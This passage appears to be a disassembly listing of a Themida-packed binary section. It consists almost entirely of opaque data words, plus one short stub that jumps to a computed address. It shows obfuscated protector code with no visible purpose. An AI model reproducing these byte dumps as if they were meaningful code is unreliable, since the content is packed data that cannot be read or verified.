		dd 6ED8E602h, 3E087AA4h, 7827039Bh, 0B948B595h,	10B6909Ch
		dd 6488909h, 270F198Bh,	26344CDBh, 0A2344F4Ch, 69DB6A4Ah
		dd 6B87BED6h, 392F35Dh,	6F12DCE8h, 9577962Ch, 47BB7B85h
		dd 0FC8F9BB8h, 0E10BD5E1h, 8CC1DC6Fh, 111F3B72h, 49B31D47h
		dd 0BF285CE8h, 7826BEE0h, 83F51B95h, 0FFC9D5F0h, 0BB8591ACh
		dd 0D5072FF9h, 1B833EBAh, 0ECD48976h, 29B82182h, 0AA8DFF0Dh
		dd 95773AECh, 0C53AAE3Ch, 555E330Bh, 0EFFFFFFh,	0FD9E502h
		dd 32939FBCh, 7EEB665Bh, 86351C9Fh, 64D1F79Bh, 18821CFBh
		dd 31578F6Ah, 4852F5BFh, 0C58F6A18h, 35AA37FFh,	573918C1h
		dd 42h,	0E0BF2807h, 957826BEh, 0A883F51Bh, 44D340B3h, 27511B27h
		dd 0A6707E94h, 0BE9D0A7Ch, 9B8636A1h, 27CA94BAh, 8F6A1773h
		dd 7F62D49Ah, 3918C60Ah, 0A0AEC453h, 5A6683D6h,	8AFC6690h
		dd 0FDF8h, 9928A800h, 6E017381h, 287B4551h, 0E639030Fh
		dd 421B4DC9h, 0A0E605DEh, 8D7ADC6h, 0A00A949Fh,	316683D6h
		dd 133D0715h, 8D576380h, 0B998F963h, 95778DB0h,	0EAC9D8F5h
		dd 957784B4h, 6B34405Bh, 117ADB45h, 925C6A82h, 4663F668h
		dd 243ECD3Ah, 0B0224C16h, 0F2AB9E6h, 0CDE63903h, 0AE557C1h
		dd 52319ED5h, 9B859A0Dh, 0F0C7284Eh, 0B21B88FBh, 32FC0823h
		dd 0BC3ECD98h, 0D23C2FDDh, 9BF07D60h, 6187957Ah, 2DB58BF4h
		dd 683615D7h, 7189594Bh, 167E714Bh, 93AC3FB1h, 0BF9A584h
		dd 0BAE0895Ah, 4760EF50h, 16E3653Bh, 17DDB2E5h,	22EC3h
		dd 9CA8BF00h, 8290AC3Bh, 6C7A9221h, 58667C0Bh, 434F68F7h
		dd 6B7BFDE2h, 56E54652h, 3ECD2E3Ch, 27B61723h, 8F9DFE0Ah
		dd 0B21B8362h, 0F5BE8F64h, 7E9928A9h, 546D0072h, 26386645h
		dd 0BA19578h, 6E3EC36Bh, 36DD7F0h, 0EAF613A2h, 85BAFD89h
		dd 5D02E14Eh, 0FE9B8636h, 2F6B0ED8h, 0D88F6A16h, 96E9B3BFh
		dd 42A56F7Bh, 7A07FE38h, 0EA5F82B4h, 0E3918C6h,	0F9h, 0D9E502BEh
		dd 97A3BC0Fh, 2B3F2ACDh, 49669578h, 304DDC3Dh, 8ABF5A24h
		dd 0D690E3E7h, 87F15388h, 1EE4441Ah, 123B6342h,	789E9578h
		dd 0C494619Eh, 0ED7CE552h, 0CFF9C3D1h, 0D6BBE3F5h, 0D94B03AAh
		dd 863369F6h, 6BCCF29Bh, 0B7245F94h, 25FF0B28h,	321AF09Fh
		dd 0F461D3ADh, 7A21F915h, 2D9AC095h, 9CD56D57h,	0E679B898h
		dd 0E350C2D0h, 0C7D5EB7Ah, 48237B5Ah, 90B68958h, 66728B1Eh
		dd 0EDB190F9h, 0EC895848h, 64F354C6h, 0FD693F4Bh, 0D7B2E6D9h
		dd 121BD11h, 0B5CC0000h, 9DB948A9h, 879F2E8Fh, 73891879h
		dd 5C750465h, 880AEF50h, 0F2535F78h, 0DA3B4963h, 0C324304Bh
		dd 0AA0B1734h, 0E906F9Ch, 0CB8F64B1h, 0BF28B602h, 25081630h
		dd 95782679h, 5680634Fh, 0C992AEE7h, 71D54E33h,	0B6202B8Dh
		dd 8998B144h, 77FEF4AAh, 0E5BFE595h, 0CB559A62h, 63C42E3Fh
		dd 4AABB7D4h, 0D6E502BEh, 7826A7F7h, 0A20C3295h, 31CABD8h
		dd 0F3AB8AF7h, 0E6957826h, 9EBB4EC0h, 655A3192h, 0D0A281EEh
		dd 0B19B8B8Eh, 0BFF5A988h, 0BEE48F64h, 0CE5D8A54h, 8CDFA9B5h
		dd 709A6472h, 0E4019406h, 0C2DC6BD8h, 4EC0EAB4h, 32415EEDh
		dd 0AF7987A3h, 0BFFCA285h, 0B7DD8F64h, 0B80AE04Dh, 0AB2C89F0h
		dd 0B2C0DC6Fh, 0BA497640h, 43516DA4h, 5B6FFFD9h, 0A670036Ah
		dd 14F15134h, 5066C434h, 0B257842h, 0E1ABB7D4h,	0F834DB7h
		dd 0DFD82D09h, 0A2BF1D19h, 4DEAB493h, 0C9EF5A95h, 526FFE5Fh
		dd 13297C46h, 24913B05h, 0FC6E7A95h, 7B9844F2h,	16A50E6Fh
		dd 0E87BEDF9h, 0A1F5BFCBh, 3, 228B455h,	0C215DFEBh, 7CCF99A5h
		dd 388B5561h, 0F346101Eh, 0B104CEDAh, 6FC28C98h, 2E814B59h
		dd 0EB3E0816h, 97F7C1CFh, 53E78957h, 0B9552ABBh, 9CB8130h
		dd 0F7509A71h, 81D3F7DBh, 9D56CAE3h, 93E38161h,	815A3207h
		dd 0EFFC02C3h, 5BDF01BFh, 8704EF83h, 685C243Ch,	3DBAh
		dd 57243C89h, 0C781E789h, 4, 4EF81h, 3C870000h,	2C895C24h
		dd 6861BF24h, 0EFC120F0h, 50F78104h, 47260412h,	0BE56EFD1h
		dd 21FC1321h, 815EF721h, 0F669AC7h, 2C8B5406h, 4C48324h
		dd 242C8157h, 267055C9h, 5608458Fh, 0ED1C3CBEh,	81E6D14Ch
		dd 961D51C6h, 875018Ch,	242C8B5Eh, 81E38953h, 4C3h, 4C38300h
		dd 5C241C87h, 5F2434FFh, 4C481h, 0F5E90000h, 7CFFFBD3h
		db 7, 7Ch, 0B3h
; ---------------------------------------------------------------------------


loc_5A0DC3:				; CODE XREF: Themida_:0059FE58j
		mov	eax, 6137710h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 4543E572h, 6156A7E8h, 511BCE3Fh, 5A5224B2h, 89E9D92h
		dd 1A459B34h, 1C6D0D58h, 624D2968h, 74E4E392h, 6C6AD02h
		dd 7917B34Ch, 593AE33h,	55A217E5h, 211533FBh, 302BC48Eh
		dd 0AA47754h, 58EDED58h, 4C63C988h, 592E8F5Eh, 6D6445D6h
		dd 3492659Eh, 25C7A0F3h, 1E2F784Ah, 796B8D8Dh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0EBE2A0C3h, 31A9BD89h, 8D89060Eh, 60E2FC5h, 12E9h, 0FCA02C00h
		dd 0C007E045h, 568A8BBDh, 0C9474053h, 0F4A9B64h, 2E87h
		dd 0FE800h, 0BCA70000h,	6AE093Bh, 0C95546FEh, 0C1DD127Ah
		dd 14E927h, 0BDD60000h,	88E06071h, 0A90FC3F6h, 0C1E2A608h
		dd 0B763997Eh, 0C75E3B49h, 0E088185h, 697406h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0A7A984C2h, 62AFABC5h, 0E860B821h, 7, 1592ADE7h, 0F5F20BD4h
		dd 61FB8B5Eh, 28D985C7h, 60Eh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4C4B87C3h
		dd 9856C18Ah, 0FF595D85h, 0E183DB5h, 13E906h, 2A450000h
		dd 930C5B65h, 4F77914Fh, 6FB759D5h, 0B2BB8066h,	0B995FF56h
		dd 6A060E09h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 1FF4C352h, 511F313Ah, 0BD8BBD5Eh
		dd 60E16D5h, 95FF006Ah,	60E0F45h, 2FEBC08Bh, 0D9BBDD0h
		dd 827FC900h, 0B3493F85h, 0BAAD9F86h, 8FD57D95h, 0A6D3BD58h
		dd 987BA58Bh, 3ED2A770h, 0AE380F4Ch, 95337C87h,	63D5B97Ch
		dd 0E9FF8613h, 0B0h, 0DA8C6660h, 0F04C2F6h, 0C85h, 0F5853B00h
		dd 0F060E19h, 3684h, 31853B00h,	0F060E30h, 2A84h, 0E1853B00h
		dd 0F060E32h, 1E84h, 61853B00h,	0F060E1Bh, 1284h, 51BD8300h
		dd 1060E1Fh, 5840Fh, 5FE90000h,	8B000000h, 3C5203D0h, 88BA8Bh
		dd 4A8B0000h, 0FC98578h, 4984h,	0F8C28100h, 8B000000h
		dd 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh
		dd 0CE3B0000h, 17820Fh,	0CF3B0000h, 0F830Fh, 0C3830000h
		dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0D19D8D00h, 0B8060E4Dh
		dd 5, 0C361E3FFh, 0AE8D00Bh, 5000000h, 0AE167447h, 0B621F815h
		dd 0BF28113h, 584D8DC2h, 2003EA81h, 0C0813DF6h,	66C9h
		dd 28A0Fh, 0DA8B0000h, 0BFh, 380C8B00h,	22DD9589h, 0F181060Eh
		dd 5FEE96E2h, 21398589h, 0E981060Eh, 600965FAh,	298D9531h
		dd 0E981060Eh, 5A10CB2Ch, 33C98D89h, 0C89060Eh,	519D8B38h
		dd 83060E23h, 8B6604EFh, 0D0FF81D6h, 0FFFFF99h,	1085h
		dd 6BE28100h, 0E969EB81h, 20h, 0DDD13A3Fh, 4985891Eh, 0E9060E0Fh
		dd 0FFFFFF9Dh, 1AEDD77Ch, 49DA3D93h, 5B4D1D40h,	78E75754h
		dd 7BB28D8Dh, 31600613h, 0E30A9BDh, 61E4B606h, 2FC58D89h
		dd 9531060Eh, 60E1B55h,	88185C7h, 729C060Eh, 5A570000h
		dd 0C7C38B66h, 0E28D985h, 6, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 381C0BEEh
		dd 0CB8FDE35h, 0C870Fh,	7E90000h, 59000000h, 78477916h
		dd 0B5FFB811h, 60E0CD5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 60C35242h, 95FFD18Bh,	60E09B9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 69C35343h, 6A709FF3h
		dd 4595FF00h, 8B060E0Fh, 915EEBC0h, 0C88FC553h,	78FEE006h
		dd 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 0AB7962D7h,	57060963h
		dd 190ABD39h, 4116D1A5h, 8FCE5C99h, 34BC523Bh, 5BF8EF52h
		dd 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h,	0E545EB74h
		dd 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh, 25165DF0h
		dd 9831BD16h, 60EB56h, 17h dup(0)
		dd 0E9000000h, 0BBAh, 0BAEE9h, 848A6800h, 15E90613h, 68FFFB02h
		dd 6138601h, 0FB020BE9h, 866D68FFh, 1E90613h, 55FFFB02h
		dd 34CF935Eh, 18B37738h, 0FB965A1Dh, 0DD783C01h, 2D581CE5h
		dd 8D564EB7h, 6E352EC9h, 54110FAAh, 39F8F590h, 9D5E2975h
		dd 5D7ACC7Ah, 0BE626DD6h, 7DC6DFBAh, 0EF5DB2AFh, 0DAF6BDB6h
		dd 0F21D2BCFh, 0FF92CA29h, 4BA06760h, 7221BF6h,	69A2C346h
		dd 0EFB07F5Bh, 5B69A2A8h, 0B732AD28h, 9C5B58F3h, 0EAA7A580h
		dd 0C07F7C1Bh, 7F78536Bh, 0C9C19CB8h, 1109E400h, 57512C48h
		dd 0A09B7692h, 0EAE6C1DDh, 2A0E0D29h, 0FB07C897h, 29617D3Eh
		dd 7110DFAEh, 0DF96B277h, 32F3EF8Ah, 1588AF6Eh,	0DDC571Ah
		dd 93AF746Eh, 0FBBC87DCh, 0A2852690h, 42E6B530h, 750518F9h
		dd 1ADBAA94h, 0A285A3FFh, 6B83D853h, 10D49390h,	0E8B786A2h
		dd 69B0E027h, 24E5605Bh, 5B69B0E5h, 0F28DE25Dh,	86C436F5h
		dd 626756E2h, 6635BC00h, 698B62A5h, 0E63DE5Bh, 0E78648F6h
		dd 12D126EFh, 86279928h, 0A26EFE7h, 0D03EFE53h,	0F64038CFh
		dd 26EEB2h, 92800000h, 86A719A8h, 69B042C5h, 0B483FE5Bh
		dd 4591815h, 0EDE78696h, 9608D328h, 87F9BAB6h, 160742F0h
		dd 95000000h, 0A719A892h, 0B042C586h, 80FB5B69h, 0B614860Eh
		dd 0F087F9BAh, 1BA69242h, 0E3DE7D4Ch, 0A94D0420h, 84806A74h
		dd 0A764B97Ch, 61774429h, 0F5001C97h, 79955E56h, 0DA47CE99h
		dd 58D31C9Eh, 2BC74603h, 0DD9FA29Bh, 0B1995E8Ch, 0CC8DB603h
		dd 0C2000001h, 9BDFD1Eh, 21E27901h, 0A29B48E6h,	0F64DF5Ah
		dd 1CA592A1h, 0CDB2AE4Dh, 3EF511D0h, 0D433F4C3h, 6C5B69B0h
		dd 2D19CF1h, 0B0177233h, 30AB5B69h, 0B9D59491h,	0A1F0AD02h
		dd 215B69B0h, 4708D7A6h, 5B69B0C0h, 0B050B778h,	75F05B69h
		dd 0C6DE33AEh, 6B2FEEEBh, 0D6B9B6FDh, 44FB17DCh, 8B3957C9h
		dd 0A719A892h, 2B27C691h, 0CD1CB6Ah, 38CF49B7h,	0EEB2F640h
		dd 65h,	0F0A89280h, 41DC53D0h, 7AC94D68h, 0F28ABDD5h, 5E2DFC77h
		dd 69BA7A9Dh, 65BD65Bh,	42C58698h, 0FE5B69B0h, 0B7861183h
		dd 69B093F6h, 9F602F5Bh, 5B69B078h, 3EE25DD8h, 99956289h
		dd 0AE79CE8Ah, 0F6B7863Ch, 5B69B093h, 0C45FB42Fh, 943807C8h
		dd 0A7BED8B2h, 423DDC04h, 57AC637Fh, 742F0E9h, 30h, 19A89295h
		dd 42C586A7h, 0FB5B69B0h, 0E2860E80h, 658DD4Ch,	0BC5B12AEh
		dd 0C9ACEC90h, 834842E1h, 0B6F1632Eh, 8B2AF9BAh, 0F7AECA93h
		dd 42F034A2h, 4D1CA592h, 9DF2B1AEh, 0B08211D2h,	0C33E5B69h
		dd 0DCF89CA7h, 25D7E80Fh, 77CC6BE3h, 580F54Bh, 351815B0h
		dd 805B773Ah, 0F1A8C483h, 0C937FB76h, 88FAB9B6h, 0A8928B39h
		dd 0C691A719h, 206728F7h, 0A05B69B0h, 0B0256425h, 229D5B69h
		dd 38CF5FCDh, 0EEB2F640h, 36h, 0F5A89280h, 9A9837FAh, 86F062DDh
		dd 69B042C5h, 4652F65Bh, 382952E8h, 7746095Eh, 690753B6h
		dd 5250EF5Bh, 2D9F1A95h, 0BAB61486h, 42F087F9h,	2C07h
		dd 0A8929500h, 0C586A719h, 5B69B042h, 9F605CFBh, 0EAADA883h
		dd 8682F46Fh, 0EAE78614h, 3F3BD62Bh, 960BAF7Eh,	6D9EA29Ah
		dd 0F0107ED3h, 920742h,	92950000h, 8C4D1CA5h, 5B69B005h
		dd 0CF7342BDh, 0A0AC50A0h, 6880D5BCh, 0DD1908Dh, 0FAB9B69Fh
		dd 928B3988h, 91A719A8h, 4038CF23h, 35EEB2F6h, 80000000h
		dd 29ECE786h, 9C2515D4h, 42C5862Ah, 0FE5B69B0h,	87A3625Fh
		dd 86E355D0h, 0D126EFE7h, 0BAB69406h, 0B78687F9h, 69B093F6h
		dd 5FB42F5Bh, 2D0750FEh, 95000000h, 18F0A892h, 2D462427h
		dd 868E007Bh, 0A21B96E2h, 48EC49B7h, 77F7C7EBh,	8C57AC23h
		dd 69124CCBh, 1486015Bh, 0BAB61486h, 42F087F9h,	2BFAB9B6h
		dd 0B07C9B5Ch, 30D45B69h, 0D1007BF4h, 368B0635h, 8845431Eh
		dd 290515B9h, 4D571811h, 0A09D38F8h, 43C8C5E1h,	0AA5B6966h
		dd 80249BECh, 0C028FA1Ch, 5A0F5C0h, 0EA854908h,	5D122EEDh
		dd 0E2C9C4B3h, 8FAB26E5h, 0DCF8B7B4h, 0C53A426h, 74D24D12h
		dd 1D1A61B2h, 34EB8F5Eh, 1A8F40BCh, 0C7E3A4A0h,	80409510h
		dd 551E16B5h, 0CAF74100h, 26963AFBh, 8B2A6177h,	352DCC91h
		dd 1E99506Ch, 5B58F702h, 0A1BD7A78h, 5D1A6FEAh,	0A29B3A3Eh
		dd 0E0DDCAC2h, 0AF8AA621h, 7AD6F2B3h, 9D486BBCh, 9BFEBF8Eh
		dd 5FA29B3Ah, 0CD84A065h, 0B8368B06h, 0C1BE3967h, 9A69B603h
		dd 0CE8F0ACBh, 0C843A29Bh, 9BCE8007h, 70C540A2h, 25A4h
		dd 0E435D900h, 49E5F098h, 0B657C51Ah, 0E1DEFAB9h, 5B69B0A6h
		dd 6BB203C1h, 20EBAF6Eh, 0B0099051h, 4EC95B69h,	0E7868BF9h
		dd 3BD62BEAh, 64637F3Eh, 5D1EEDD4h, 617D2CADh, 0C4855423h
		dd 0A2853345h, 46C182FDh, 0FAA28533h, 0EC672A7Fh, 6D827E1Dh
		dd 85336DACh, 0EF6AE5A2h, 3BFCF8D3h, 0ECAB6BC0h, 0E5A6754Ch
		dd 989B3CEBh, 333E5AD5h, 0C464A364h, 704A8B7h, 0B1068148h
		dd 0B7C491F4h, 3A8B4DA8h, 17D7EB0Ch, 3C3BBCh, 0CC700000h
		dd 452ED122h, 0DFDB7A19h, 0F64B021Eh, 1CA59288h, 0B07D8C4Dh
		dd 3AB55B69h, 0EB4FC76Bh, 849F4F5Bh, 0D29E8E5h,	97360156h
		dd 4A15D99Ch, 0E57FD9A6h, 0E4391804h, 3C9Ah, 0A5922800h
		dd 0B0AE4D1Ch, 12D39EF3h, 5B69B083h, 0D7A09837h, 7544BF82h
		dd 0F316D7A6h, 4F5B69B0h, 0E9E47FD4h, 0B0F611D2h, 0CF4A5B69h
		dd 21C59054h, 554D1741h, 0A96A6630h, 65BD68Dh, 16D0798h
		dd 99380000h, 8BFDB9Eh,	0A79245B3h, 28FE1CF1h, 2B253114h
		dd 18934A66h, 18849h, 46C15B69h, 8B3959CBh, 88FAB9B6h
		dd 0B588E286h, 0BA528594h, 8637A565h, 0D29ECE7h, 887F0156h
		dd 9FB2F640h, 0A01094FBh, 0C318D7E3h, 47F7h, 0A7928900h
		dd 0E286A81Ah, 73344528h, 8853A8A7h, 699640C7h,	0B685005Bh
		dd 1561F17h, 18B78693h,	99075C1Bh, 86F8BBB6h, 0E28642F0h
		dd 3720F514h, 305718BAh, 905B6989h, 0FB459A15h,	32h, 0CD948D2Ch
		dd 37A5FAB1h, 28EDE786h, 9C2514D3h, 18B7862Ah, 8A415D1Ah
		dd 0B0117835h, 33AE5B69h, 0AFE286C1h, 0D069BB8Ch, 0C7E499Eh
		dd 86F8BBB6h, 0B9B642F0h, 8B3988FAh, 0A719A892h, 0FA0DE286h
		dd 34BFFF19h, 0B8D49D95h, 21ECAC01h, 0A7C38882h, 0CF2D9BF0h
		dd 0B2F64038h, 3AEEh, 0A8928000h, 0C586A719h, 5B69B042h
		dd 861183FEh, 41F18B7h,	69B0C443h, 86017C5Bh, 0E786C331h
		dd 300B27EEh, 9D547037h, 3632CD22h, 42F00375h, 2C07h, 0A1993800h
		dd 921583D8h, 86A719A8h, 69B042C5h, 0E80FB5Bh, 7235E286h
		dd 28A34741h, 69922067h, 0AA25A05Bh, 0B6188A55h, 0F087F9BAh
		dd 0D7B8B642h, 44FB17DEh, 6CB0ADC9h, 8D5B69B0h,	35337ACBh
		dd 1AE9B478h, 0FBBC817Bh, 5B69B09Ch, 0D79E615Ch, 0B699075Ch
		dd 0A3E6A7B8h, 1F5B69B0h, 320D29A4h, 805B7734h,	0C7A7C384h
		dd 9C4C8040h, 3732D143h, 0E8C5874h, 63E19ABDh, 10CDCB12h
		dd 784D8F4Ch, 8D75B69h,	7117839h, 36B15B69h, 91995FE1h
		dd 0EA8EAFF5h, 0BFE82F2h, 1FEB4061h, 0FFFFFE4Eh, 5E6FB054h
		dd 0A5C18680h, 5E844AEEh, 0EE29EAB9h, 625B696Dh, 942492E7h
		dd 5B69B071h, 69B034D7h, 0B07C9A5Bh, 0BBDA5B69h, 1D5B69B0h
		dd 5B69B0FEh, 69B03D60h, 2A97A11Bh, 0A09E9A5Bh,	0B732217Ah
		dd 894A19E8h, 6286BF0Eh, 38647C2h, 0BF6286BFh, 0D8D7EF44h
		dd 81403D60h, 6433AE65h, 0E804CDC5h, 957FD08h, 2FAA3875h
		dd 0A1400FDAh
		dd 0CE8BE0A9h, 589800CAh, 8EB50B86h, 0D2E28734h, 2E5EC76h
		dd 49400000h, 231FBA7Eh, 8039E62h, 0ECE68145h, 0D0C86327h
		dd 0AC184307h, 0B4784139h, 95592019h, 7B3FFCFAh, 6024E3E0h
		dd 1884914h, 0C15D7A34h, 0B9B6AA58h, 2FD3DEFAh,	15134B02h
		dd 0FF28B458h, 0EF49085Dh, 6C4203D2h, 14617D52h, 0F518D599h
		dd 59A284B2h, 5213E2DFh, 98902E48h, 0F60ECC70h,	0B8F0A71Ah
		dd 0E382FDBAh, 550C28E5h, 0F3C23D00h, 83445754h, 0A8B0C004h
		dd 0F7C641BCh, 0C0206728h, 86C3A8B0h, 43CB9276h, 69BE3900h
		dd 52110EA9h, 29E6E483h, 54BFBCD4h, 0F8A8B073h,	0F1B28140h
		dd 92A4EF05h, 5415E4B3h, 0B6AFF735h, 3651128Dh,	8AB6AFF6h
		dd 7CF7BA0Fh, 0FA1DDEADh, 56B6AFF5h, 0DEFABBB7h, 8C57AC27h
		dd 6231F0EDh, 0E703CAC3h, 501BDB30h, 9BF0B9B1h,	28440300h
		dd 0E3B20F29h, 6B4E7014h, 77B6425Ah, 19B56522h,	64338CBBh
		dd 0DB0864A3h, 0E661DCBCh, 546DCBCAh, 0EC12B685h, 0ECA2F84Dh
		dd 39C582D7h, 0E786CF47h, 2FCE9D6Ch, 8F524D34h,	2724BF14h
		dd 0C09A468h, 5FD138F9h, 0F671BAF7h, 5F236627h,	249FBAF7h
		dd 0D908DA9h, 0C5BAF725h, 65D235F6h, 0F36EBAF7h, 6859DF9Eh
		dd 0F91AD899h, 0DBAA80E3h, 0E2E9FF1Ah, 5DD85380h, 0C3673641h
		dd 89C1AAB5h, 9AFDBEA2h, 3680E291h, 91A766BBh, 5CA06130h
		dd 0FCBAFCE5h, 962E2B81h, 0E23E041Bh, 16E58h, 0F5C0B700h
		dd 0D99A9631h, 0BC7F7A15h, 9E635DF8h, 7E473FDAh, 0B0D58FBAh
		dd 902BEFB8h, 710CD097h, 57F2B673h, 8BD79B5Ah, 3698FFC0h
		dd 0CF385D7Ah, 1BA69221h, 2CA78B4Ch, 0E25D617Dh, 8517BBC6h
		dd 7D8391C4h, 94A463B8h, 0EB8F5E2Dh, 0A5CDC9C1h, 3081B1E9h
		dd 4E91198Dh, 9FC17ED3h, 41989BDAh, 6E1970C6h, 1D7922BBh
		dd 10293h, 612C2300h, 4506029Dh, 28EBE681h, 0ACFC964h
		dd 0EAB3AB46h, 1C49FB26h, 0FC975B24h, 0DD783C03h, 0C35E22DFh
		dd 0F74307C6h, 362C6B2Ch, 3BA45D7Ah, 0C7A6928Dh, 69B08306h
		dd 0AF703F5Bh, 5B69B068h, 4EF26DE8h, 6697E88Bh,	51209B52h
		dd 7DFD9A90h, 10DF5A61h, 0A9D49D6Ch, 0CA1F62EAh, 1BDAD7B2h
		dd 0BFBC57h, 3E3AD9E4h,	8886617Dh, 7DF8AFCBh, 0F2CF6928h
		dd 0CE586223h, 0E9889890h, 0DEAD28F1h, 2C81443Fh, 14D5D16Ch
		dd 0F7BAB550h, 0D99E9833h, 0B9827A15h, 99625AF5h, 0CC660AD5h
		dd 7B8CD87Ah, 0D8D16CC1h, 0DE824D11h, 0EB3AC12Eh, 30CB2045h
		dd 0CC04C32h, 7115D4D1h, 0CC47FE12h, 0B1706D08h, 0D67E22EDh
		dd 24CAE2C8h, 160FAAFFh, 6CCC8B4Fh, 3DC58655h, 0EB92A788h
		dd 0CAFDA170h, 0CDACD64Ch, 64D22FB8h, 0FE93EDC0h, 70C54003h
		dd 0C1807D58h, 0DB3FDh,	33410000h, 75945524h, 0CD5B69B0h
		dd 0B68FFD52h, 0FDD8F4BFh, 4A254100h, 98738F4Ch, 0E1BCD89Fh
		dd 290420E9h, 714C6831h, 0BB96B277h, 6E1FDC0h, 692D490Ah
		dd 52E38953h, 0DD79E7BAh, 0F281425Ch, 7A0A1594h, 814AD2F7h
		dd 0C52073CAh, 11C28160h, 106124Ch, 0EB835AD3h,	241C8704h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 68241C89h
		dd 70B4h, 56240C89h, 137C9FBEh,	8BF38906h, 0C4812434h
		dd 4, 240C8B54h, 4C481h, 81530000h, 3A41242Ch, 418F2395h
		dd 0C3B85008h, 0C1554B72h, 0C14805E0h, 2A0502E8h, 1F939A4h
		dd 0FF580841h, 83592434h, 34FF04C4h, 0C4815B24h, 4, 0FAF673E9h
		dd 0B85D51FFh, 6138794h, 0C38BC503h, 167E9h, 13E900h, 55840000h
		dd 48A6BE7Fh, 384E7CD4h, 0E05D8267h, 9376E6EFh,	0FCB58D19h
		dd 60061388h, 0BE9h, 94DAB600h,	0F275F5AFh, 0CF57EC68h
		dd 0F861D68Bh, 4753858Dh, 6A0611h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 1180DCC3h, 60BF3290h
		dd 0C18166FCh, 0E9610801h, 8, 0A2F472BEh, 679504D0h, 8C0FD0FFh
		dd 12h,	0DE9h, 0D77F8400h, 0B40E39B6h, 0A5F3CFE7h, 6AC3E013h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 999EC351h, 0BBFAEB43h, 0E92D3D8Ch, 0Ch, 72424B9Dh
		dd 0A99ABA10h, 0CB986CEDh, 6AD98C66h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F563C351h
		dd 5E9h, 0DFF79A00h, 0C1F6AD8Dh, 53840F04h, 60000000h
		dd 11E9h, 69006D00h, 34365992h,	25E0F31Ch, 0AFA8EA70h
		dd 8B66A539h, 0FB8B61C3h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh
		dd 49D78BF9h, 0EBD98Bh,	13F20CDh, 0C00B0001h, 708D1874h
		dd 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1,	8B09EBh, 0B8E4EBh
		dd 0CF000000h, 7E860h, 7DCC0000h, 0EF868306h, 880F2Ch
		dd 5B000000h, 1810F61h,	0F5000000h, 896285C7h, 13F0613h
		dd 3CE90001h, 1, 4Eh dup(0)
		dd 83000000h, 0E02C1BDh, 840F0106h, 541h, 11E9h, 845BDD00h
		dd 0EB894CE0h, 4D877578h, 6C7A8B4Dh, 85C60F7Fh,	60E2F11h
		dd 8F0F6043h, 6, 2790C781h, 820F694Ah, 2, 0E8615B51h, 4
		dd 0ECA5D0F5h, 6E9h, 79664600h,	50822777h, 8C0F5250h, 11h
		dd 0CE9h, 0A1F4C700h, 23A1ADE4h, 5607C66h, 0E9310F64h
		dd 0Fh,	0F5DB5D7Fh, 570E5AC9h, 0A4FF44F1h, 5A2B6BD8h, 24448B58h
		dd 5E904h, 0C8F40000h, 8BA818F5h, 0CEBA6000h, 0E9568DE2h
		dd 13h,	0FC1E07BEh, 8FDCF62Bh, 0C16BDE79h, 5E3289A5h, 61F3E258h
		dd 4244489h, 0E850Fh, 52500000h, 310F6160h, 310F5250h
		dd 585A585Ah, 5E958h, 81AF0000h, 60261C99h, 0FB6494BAh
		dd 0B5FF617Bh, 60E0C3Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0F0C35747h, 0DE3FE4CBh, 14870FFCh, 0E9000000h
		dd 0Fh,	753A6BB9h, 0B1197E41h, 675004EDh, 8D5AB5EAh, 116F7485h
		dd 0E9F96006h, 9, 0A24556E4h, 0A5D88EB7h, 0D0FF616Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BDC35747h, 0B4DA5603h
		dd 8589CFD3h, 60E2F5Dh,	8E9h, 0AFF82300h, 63DB4349h, 1185C6F9h
		dd 50060E2Fh, 7E9h, 0E01C5300h,	1B24A1B4h, 39D1D568h, 15860F85h
		dd 0E9000000h, 10h, 0C35B52C8h,	7A4BCE2h, 522B0814h, 0D71C780Ch
		dd 81240481h, 0E92373DBh, 11h, 593F954Ch, 0EB96DDD9h, 6EF41E8Fh
		dd 91062B2Ch, 3DB5FFE8h, 6A060E0Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C53DC356h
		dd 0F96D0AC9h, 6F74858Dh, 0CE90611h, 92000000h,	9A689087h
		dd 34913AFFh, 0FFA637D1h, 6E960D0h, 0EA000000h,	49EE3D7Fh
		dd 0F1B70F1Ch, 0E9858961h, 60060E33h, 0E080F98Bh, 766861F9h
		dd 50D9DF72h, 6CB66052h, 0F615856h, 28A0F31h, 60000000h
		dd 81585A61h, 35B92404h, 6A16B0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 60CFE9C3h, 5E9h, 33736B00h
		dd 0DF8BCA42h, 3DB5FF61h, 60060E0Ch, 0CE9h, 0DEEB900h
		dd 19532515h, 95177A3Ch, 0F7816048h, 532FA73Eh,	8E8h, 95BB2900h
		dd 0DF42C614h, 61615FEEh, 6F74858Dh, 6A0611h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 53B0B3C3h
		dd 14E9FAh, 3490000h, 79DD7A42h, 3DEBECFCh, 0BE217022h
